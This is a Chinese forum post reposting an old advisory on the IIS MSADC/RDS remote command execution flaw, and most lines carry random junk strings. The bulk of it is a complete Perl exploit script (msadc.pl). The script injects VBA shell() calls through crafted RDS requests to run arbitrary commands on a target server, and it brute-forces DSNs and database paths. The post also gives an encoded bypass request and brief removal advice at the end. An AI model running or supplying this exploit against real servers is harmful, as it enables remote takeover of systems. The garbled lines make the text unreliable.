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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) wG}Rh,  
XZH\HK)K-]  
涉及程序: K1_#Jhz  
Microsoft NT server Kk|4  
gBd@4{y6C.  
描述: dO!5` ]  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 S<Od`I  
i{2ny$55h  
详细: 4KnrQ-D  
如果你没有时间读详细内容的话,就删除: JS#AoPWA  
c:\Program Files\Common Files\System\Msadc\msadcs.dll G/y;o3/[Z  
有关的安全问题就没有了。 E;-*LT&{  
s^zX9IVnp  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 {}DoRp q=  
:{'%I#k2  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 .X;D I<K  
关于利用ODBC远程漏洞的描述,请参看: Qoom[@$  
6u [ B}%l  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 07#e{   
ds "N*\.  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 9D,/SZ-v  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp rJw Ws  
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这里不再论述。 1T/ 72+R0  
r"bV{v  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 4ztU) 1  
\Jm^XXgS  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset >})W5Y+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! z 8y.@<6  
y41,T&ja  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" AZf$XHP2  
+XoY@|Djd  
#!perl =kDh:&u%  
# +Vw]DLWR  
# MSADC/RDS 'usage' (aka exploit) script eYD-8*  
# 6O| rI>D  
# by rain.forest.puppy CA]u3bf~  
# 2kW*Z7@D  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me GB8>R  
# beta test and find errors! Y@2v/O,\  
;Yu|LaI\<m  
use Socket; use Getopt::Std; ,ocAB;K  
getopts("e:vd:h:XR", \%args); i>{.Y};  
[|tlTk   
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; #H-EOXy  
kJk6lPSqi7  
if (!defined $args{h} && !defined $args{R}) { b<8,'QgB  
print qq~ "pTU&He  
Usage: msadc.pl -h <host> { -d <delay> -X -v } zY2o;-d|4  
-h <host> = host you want to scan (ip or domain) cg).b?g  
-d <seconds> = delay between calls, default 1 second &at>sQ'  
-X = dump Index Server path table, if available ]%eyrbU  
-v = verbose Bhg,P.7  
-e = external dictionary file for step 5 SI9PgC  
]CGH )4Pe  
Or a -R will resume a command session 49-wFF  
\Y^GA;AMQQ  
~; exit;} Ngw/H)<c  
~U+W4%f8  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; RhD   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} z#Db~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} |"i"8~/@<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Yx':~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} nNpXkI:  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 't n-o  
3e ?J#;  
if (!defined $args{R}){ $ret = &has_msadc; g66x;2Q  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 5#B M  
Zr|z!S?aSC  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" &h'NC%"v  
. "cmd /c "; bTc^ huP  
$in=<STDIN>; chomp $in; MwTouEGGgA  
$command="cmd /c " . $in ; $VnPs!a  
qc"PTv0q  
if (defined $args{R}) {&load; exit;} Kdr} 7#c  
IXC2w *'m  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; dLtmG:II  
&try_btcustmr; M@<r8M]G  
%6cbHH  
print "\nStep 2: Trying to make our own DSN..."; ES ?6  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; bsdT>|gW  
e {805^X}  
print "\nStep 3: Trying known DSNs..."; X3R:^ff\  
&known_dsn; >gf,8flgj  
V#TNv0&0  
print "\nStep 4: Trying known .mdbs..."; Z7J4r TA  
&known_mdb; I/)*pzt8  
N?><%fra  
if (defined $args{e}){ tKY g  
print "\nStep 5: Trying dictionary of DSN names..."; nUScDb2|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } $ 9 k5a  
3"LT''  
print "Sorry Charley...maybe next time?\n"; mu$rG3M  
exit; fR#W#n#m  
K:54`UJ  
############################################################################## v(~EO(n.  
Ls/*&u  
sub sendraw { # ripped and modded from whisker |u_fVQj  
sleep($delay); # it's a DoS on the server! At least on mine... d5#z\E??  
my ($pstr)=@_; &x)nK  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >9,:i)m_  
die("Socket problems\n"); 0S&C[I o6  
if(connect(S,pack "SnA4x8",2,80,$target)){ K96N{"{iI%  
select(S); $|=1; g>;"Fymc'  
print $pstr; my @in=<S>; Mk8k,"RG&Z  
select(STDOUT); close(S); =h,J!0Y  
return @in; ?yKG\tPhM  
} else { die("Can't connect...\n"); }} hUe\sv!x?  
;!,I1{`  
############################################################################## vY);7  
@B Muov  
sub make_header { # make the HTTP request =F/EzS  
my $msadc=<<EOT / 5y _ <  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 V>& 1;n  
User-Agent: ACTIVEDATA .s\_H,  
Host: $ip J6gn!  
Content-Length: $clen [E)&dl_k  
Connection: Keep-Alive [ i8Ju  
" 1%\Fil  
ADCClientVersion:01.06 }%`f%/  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ]e(\<R6Gf  
<$Dj ags,F  
--!ADM!ROX!YOUR!WORLD! DqA$%b yyE  
Content-Type: application/x-varg FYIz_GTk  
Content-Length: $reqlen GC7W7B  
yi*EE%  
EOT {=6CL'_  
; $msadc=~s/\n/\r\n/g; Qq3>Xv <  
return $msadc;} T$1(6<:+.  
-FQc_k?VF  
############################################################################## 6f)7*j~  
vQ8$C 3  
sub make_req { # make the RDS request g1I8_!}~  
my ($switch, $p1, $p2)=@_; ~T!D:2G  
my $req=""; my $t1, $t2, $query, $dsn; &"d :+!4h  
vDCbD#.6  
if ($switch==1){ # this is the btcustmr.mdb query uTNy{RBD+  
$query="Select * from Customers where City=" . make_shell(); uoTc c|Kc  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . KN'twPFq  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \ 0.!al0  
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elsif ($switch==2){ # this is general make table query h>ZU67-   
$query="create table AZZ (B int, C varchar(10))"; py$i{v%  
$dsn="$p1";} ubQr[/  
EOXuc9>G  
elsif ($switch==3){ # this is general exploit table query [~ !9t9+~  
$query="select * from AZZ where C=" . make_shell(); W4"1H0s`l  
$dsn="$p1";} )!=fy']  
??z&w`Yy,  
elsif ($switch==4){ # attempt to hork file info from index server ]0=THq\H  
$query="select path from scope()"; sN ZOm$  
$dsn="Provider=MSIDXS;";} R0e!b+MZ.  
C:z7R" yj  
elsif ($switch==5){ # bad query IwR=@Ne8  
$query="select"; O)c3Lm-w  
$dsn="$p1";} o.wXaS8  
z`sW5K(A  
$t1= make_unicode($query); f('##pND@  
$t2= make_unicode($dsn); BO0Y#fs  
$req = "\x02\x00\x03\x00"; ~^>g<YR[  
$req.= "\x08\x00" . pack ("S1", length($t1)); zS '{F>w  
$req.= "\x00\x00" . $t1 ; 7pM&))R  
$req.= "\x08\x00" . pack ("S1", length($t2)); b6g/SIae  
$req.= "\x00\x00" . $t2 ; c*",AZ>U  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; c=<^pCa9t1  
return $req;} \6!s";=hQ  
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############################################################################## 5hfx2 O)  
J9P\D!  
sub make_shell { # this makes the shell() statement rBZ00}  
return "'|shell(\"$command\")|'";} vy5I#q(k  
g{JH5IZ~  
############################################################################## [6)vD@  
V o%GO 9b;  
sub make_unicode { # quick little function to convert to unicode 4KY@y?H g  
my ($in)=@_; my $out; e?WI=Og  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } +/r h8?  
return $out;} -^t&U] g  
TIxlLOs  
############################################################################## F6" QsFG  
=z'533C  
sub rdo_success { # checks for RDO return success (this is kludge) 9#a/at]  
my (@in) = @_; my $base=content_start(@in); $x2G/5?  
if($in[$base]=~/multipart\/mixed/){ tD])&0"(  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} - XB[2h  
return 0;} A:*$rHbzl  
EGj zjuJu{  
############################################################################## AjINO}b  
~>$z1o&}.  
sub make_dsn { # this makes a DSN for us ' wKTWmf?\  
my @drives=("c","d","e","f"); |sBL(9  
print "\nMaking DSN: "; 1~vv<`-  
foreach $drive (@drives) { ZVz*1]}  
print "$drive: "; /Q'O]h0a  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . le2 v"Y  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?uXY6J"  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ZK8DziO  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; p7[&H/  
return 0 if $2 eq "404"; # not found/doesn't exist a KIS%M#Y  
if($2 eq "200") { 4|NcWpaV7  
foreach $line (@results) { l#a*w  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Pz-=Eq  
} return 0;} ,&jjp eZP  
BG+X8t8\  
############################################################################## '8b=4mrbH  
_#w5hX cu  
sub verify_exists { F8B:P7I  
my ($page)=@_; 8},fu3Z  
my @results=sendraw("GET $page HTTP/1.0\n\n"); JB HnJm  
return $results[0];} mWuhXY^Q  
D1EHT}  
############################################################################## t}gK)"g  
'>>@I~<\  
sub try_btcustmr { n;k B_i*l  
my @drives=("c","d","e","f"); <9`/Y"\p  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RMa#z [{0  
vr$z6m ^  
foreach $dir (@dirs) { ~AR0 ,lak  
print "$dir -> "; # fun status so you can see progress Q#Xa]A-  
foreach $drive (@drives) { o+?Ko=vYw  
print "$drive: "; # ditto Dm`gzGl  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; J=ot& %  
$reqlenlen=length( "$reqlen" ); C12y_E8Un  
$clen= 206 + $reqlenlen + $reqlen; Hzc^fC  
j4h?"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); K\$z,}0  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} >Yfo $S_  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} YrTjHIn~w  
rH[Eh8j,  
############################################################################## A{Q~@1  
#b{;)C fL  
sub odbc_error { CxVrnb[`q  
my (@in)=@_; my $base; q,(hs]\@  
my $base = content_start(@in); E5$uvxCI  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ;MjOs&1f0K  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fwaM;YN_  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x2+M0 }g  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -ha[xM05  
return $in[$base+4].$in[$base+5].$in[$base+6];} ;^P0+d^5C  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ~T&X#i  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . dZ\T@9+j+  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} T\L LOx\  
e{d$OzT) V  
############################################################################## ;\t(c  
ni3A+Y0  
sub verbose { dNz!2mbO  
my ($in)=@_; |R(rb-v  
return if !$verbose; 92L{be; SY  
print STDOUT "\n$in\n";} \fL:Ie  
Zy > W2(<  
############################################################################## a4N8zDS  
R= *vPS  
sub save { DJHE6XJ   
my ($p1, $p2, $p3, $p4)=@_; &r V  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; '8fL)Zk  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; D]d2opBLj  
close OUT;} )X-TJ+d  
mOx>p"n  
############################################################################## XwdehyPhT2  
ys |} ;*  
sub load { <(caY37o6)  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; #:/-8Z(0  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Xr pnc 7  
@p=<IN>; close(IN); F6)/Iiv  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); DKqO5e\l8@  
$target= inet_aton($ip) || die("inet_aton problems"); %:[Y/K-   
print "Resuming to $ip ..."; P3V }cGZ  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; }L|XZL_Jo#  
if($p[1]==1) { Y ptP_R:2p  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; sTO9>~sj  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Z6oA>D  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); !6d`e"\K  
if (rdo_success(@results)){print "Success!\n";} z@J;sz  
else { print "failed\n"; verbose(odbc_error(@results));}} Cg&cz]*q|  
elsif ($p[1]==3){ -44''w?z  
if(run_query("$p[3]")){ yy|F6Pq3`  
print "Success!\n";} else { print "failed\n"; }} AN-;*n<'  
elsif ($p[1]==4){ @KC;"u'C  
if(run_query($drvst . "$p[3]")){ #[Vk#BIiv8  
print "Success!\n"; } else { print "failed\n"; }} pJ]i)$M  
exit;} l%$co07cX  
(Y]G6> Oa  
############################################################################## `oo(\O7t=  
w\ 7aAf3O  
sub create_table { C@s;0-qL  
my ($in)=@_; d<4q%y'X{  
$reqlen=length( make_req(2,$in,"") ) - 28; -AU!c^-o  
$reqlenlen=length( "$reqlen" ); 9~WjCa*,&  
$clen= 206 + $reqlenlen + $reqlen; +W9#^  
my @results=sendraw(make_header() . make_req(2,$in,"")); L\X 2Olfz1  
return 1 if rdo_success(@results); 8p~G)J3U  
my $temp= odbc_error(@results); verbose($temp); &(HIBF'O  
return 1 if $temp=~/Table 'AZZ' already exists/; q3R?8Mb  
return 0;} &sJ%ur+G  
d512Y[ R  
############################################################################## 9`sIE_%+  
]Q0+1'yuK  
sub known_dsn { $qj||zA  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Md,KW#  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *>p#/'_E  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",  (.B+U'6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Ndr4e?Xa,  
{H%1sI  
foreach $dSn (@dsns) { ;]Bkw6 o  
print "."; ~b.e9FhdA  
next if (!is_access("DSN=$dSn")); S4BU!  
if(create_table("DSN=$dSn")){ w@ =Uf7  
print "$dSn successful\n"; %QrpFE5 V5  
if(run_query("DSN=$dSn")){ au 5qbP  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;p'Ej'E  
print "Something's borked. Use verbose next time\n";}}} print "\n";} xBi``x2eY  
]pP [0 S  
############################################################################## 9 ~$' ?  
Gfn?1Kt{  
sub is_access { )s4a<S c]  
my ($in)=@_; z gDc=  
$reqlen=length( make_req(5,$in,"") ) - 28; 9N]V F'  
$reqlenlen=length( "$reqlen" ); 2DTBL:?`  
$clen= 206 + $reqlenlen + $reqlen;  MUd 9R  
my @results=sendraw(make_header() . make_req(5,$in,"")); r b@{ir  
my $temp= odbc_error(@results); YX:[],FP  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Kwa$5qZI  
return 0;} -Lbi eS%  
"FT(U{^7d  
############################################################################## b^]@8I[M  
1Qz1 Ehz>  
sub run_query { $q~:%pQv  
my ($in)=@_; Gt;59}  
$reqlen=length( make_req(3,$in,"") ) - 28; 1ti4 ZM  
$reqlenlen=length( "$reqlen" ); * >XmJ6w  
$clen= 206 + $reqlenlen + $reqlen; oaJnLd90W  
my @results=sendraw(make_header() . make_req(3,$in,"")); c$HZvv  
return 1 if rdo_success(@results); Td6"o&0A!  
my $temp= odbc_error(@results); verbose($temp); Fz4g:8qdA  
return 0;} e[a?5,s2  
:F`yAB3  
############################################################################## -<tfbaA  
N^{+1u7  
sub known_mdb { ,HLgb}~  
my @drives=("c","d","e","f","g"); _Y gvLz %  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }\Mmp+<  
my $dir, $drive, $mdb; MKN],l N  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 9xm'0 '  
 <c &6M  
# this is sparse, because I don't know of many / !*+9+h  
my @sysmdbs=( "\\catroot\\icatalog.mdb", )2jBhT  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 9c_h+XN?y  
"\\system32\\certmdb.mdb", vCh/%7+  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% lP:ll])p2  
7xmif YC  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", <>FpvdB  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;,yjkD[mWE  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 3bW(VvgcL4  
"\\cfusion\\cfapps\\security\\realm_.mdb", x#{.mN  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", R2[-Q"|Ra  
"\\cfusion\\database\\cfexamples.mdb", u \zP`Y  
"\\cfusion\\database\\cfsnippets.mdb", hqKftk)+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", (\M&Q-xZ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", CgO&z<A!&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", M'4$z^@Z  
"\\cfusion\\database\\smpolicy.mdb", qJZ5w }  
"\\cfusion\\database\cypress.mdb", EecV%E  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", C{8d^SCA"  
"\\website\\cgi-win\\dbsample.mdb", 1k8zAtuj  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 6X@$xe847[  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" dNL<O   
); #these are just a5AD$bP  
foreach $drive (@drives) { Q{0!N8']"  
foreach $dir (@dirs){ E{Ux|r~  
foreach $mdb (@sysmdbs) { JBKCa 3  
print "."; /{9"O y7E  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ _a 40lcP  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";  \tWFz(  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ |#. J  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; j%qBNoT~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} # ,KjJ  
71# ipZ  
foreach $drive (@drives) { hvS4"% \  
foreach $mdb (@mdbs) { f2y:K6$'l*  
print "."; xC,;IS k,  
if(create_table($drv . $drive . $dir . $mdb)){ U<*8KiI  
print "\n" . $drive . $dir . $mdb . " successful\n"; <+oTYPgD9  
if(run_query($drv . $drive . $dir . $mdb)){ 9a*}&fL[  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; @N-P[.qL"  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^<}eONa  
} [*k25N  
Iw<: k  
############################################################################## dk^Uf84.Gr  
kCu"G  
sub hork_idx { ~X`_ g/5X  
print "\nAttempting to dump Index Server tables...\n"; };:+0k/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; MZ{gU>K+  
$reqlen=length( make_req(4,"","") ) - 28; _8U 5mW  
$reqlenlen=length( "$reqlen" ); 6?3f+=e"~!  
$clen= 206 + $reqlenlen + $reqlen; =V@5W[bV  
my @results=sendraw2(make_header() . make_req(4,"","")); ~ j`; $o  
if (rdo_success(@results)){ A#y,B  
my $max=@results; my $c; my %d; ;L gxL Qy;  
for($c=19; $c<$max; $c++){ sr&hQ  
$results[$c]=~s/\x00//g; f;nO$h[Qb  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; kT+Idu  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; X. =%  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Ae0jfTv  
$d{"$1$2"}="";} mQ@A3/=`  
foreach $c (keys %d){ print "$c\n"; } vThK@P!s  
} else {print "Index server doesn't seem to be installed.\n"; }} {Di()]/  
2)A% 'Akf  
############################################################################## g(i_di  
ugwZAC  
sub dsn_dict { XRMYR97  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); FKOTv2  
while(<IN>){ 12yr_   
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; J\BTrN7  
next if (!is_access("DSN=$dSn")); ;e>pu"#  
if(create_table("DSN=$dSn")){ o-))R| ~z  
print "$dSn successful\n"; 8 pQx6QE  
if(run_query("DSN=$dSn")){ \C )S3!h  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (Mk9##R#  
print "Something's borked. Use verbose next time\n";}}} ky`xBO =  
print "\n"; close(IN);} DaV:Slp9  
W]]@pbG"H\  
############################################################################## NEpomE(>x  
B J0P1vh6M  
sub sendraw2 { # ripped and modded from whisker }'y=JV>l  
sleep($delay); # it's a DoS on the server! At least on mine... q;^Q1[Ari  
my ($pstr)=@_; W_%p'8,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || b=5"*=T{+  
die("Socket problems\n"); |bwz  
if(connect(S,pack "SnA4x8",2,80,$target)){ Lad8C  
print "Connected. Getting data"; vbo:,]T<A  
open(OUT,">raw.out"); my @in; 9\_^"5l  
select(S); $|=1; print $pstr; ne=?'e4  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ,co~@a@9  
close(OUT); select(STDOUT); close(S); return @in; eCDwY:t`  
} else { die("Can't connect...\n"); }} GI~JIXHTQ  
yZ_6yJw3}  
############################################################################## }, < dGmkx  
@2Lp I*]C  
sub content_start { # this will take in the server headers 5cv&`h8uo_  
my (@in)=@_; my $c; 6%hr]>L  
for ($c=1;$c<500;$c++) { 7wivu*0  
if($in[$c] =~/^\x0d\x0a/){ Md4hd#z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } HinPO  
else { return $c+1; }}} o_.f7|U!  
return -1;} # it should never get here actually Z#O )0ou  
ps DY}y\"  
############################################################################## \; 9log<Z  
,eI2#6w|C  
sub funky { H%LoI)w  
my (@in)=@_; my $error=odbc_error(@in); V__|NVoOm  
if($error=~/ADO could not find the specified provider/){ C#^V<:9  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; EpX.{B@B_[  
exit;} 9vQI ~rz?  
if($error=~/A Handler is required/){ Y ]xFe>  
print "\nServer has custom handler filters (they most likely are patched)\n"; Z%Kkh2-uh  
exit;} _ (U|Kpi  
if($error=~/specified Handler has denied Access/){  b6`_;Z  
print "\nServer has custom handler filters (they most likely are patched)\n"; Oy,7>vWQI  
exit;}} H2ZRUFu  
;qA(!`h+  
############################################################################## Ft&ARTsa*  
=bx;TV  
sub has_msadc { >1}RiOd3  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 4"om;+\  
my $base=content_start(@results); I%^Bl:M  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); K1th>!JW'  
return 0;} N;YAG#'9~_  
eK=W'cNu  
######################## o9<)rUy  
,P%a0\  
{Wi)/B}  
解决方案: >/r^l)`9_f  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll =t/ "&[r  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 O`;e^PhN  
ezq<)gJc  
拿出来充数 哈哈
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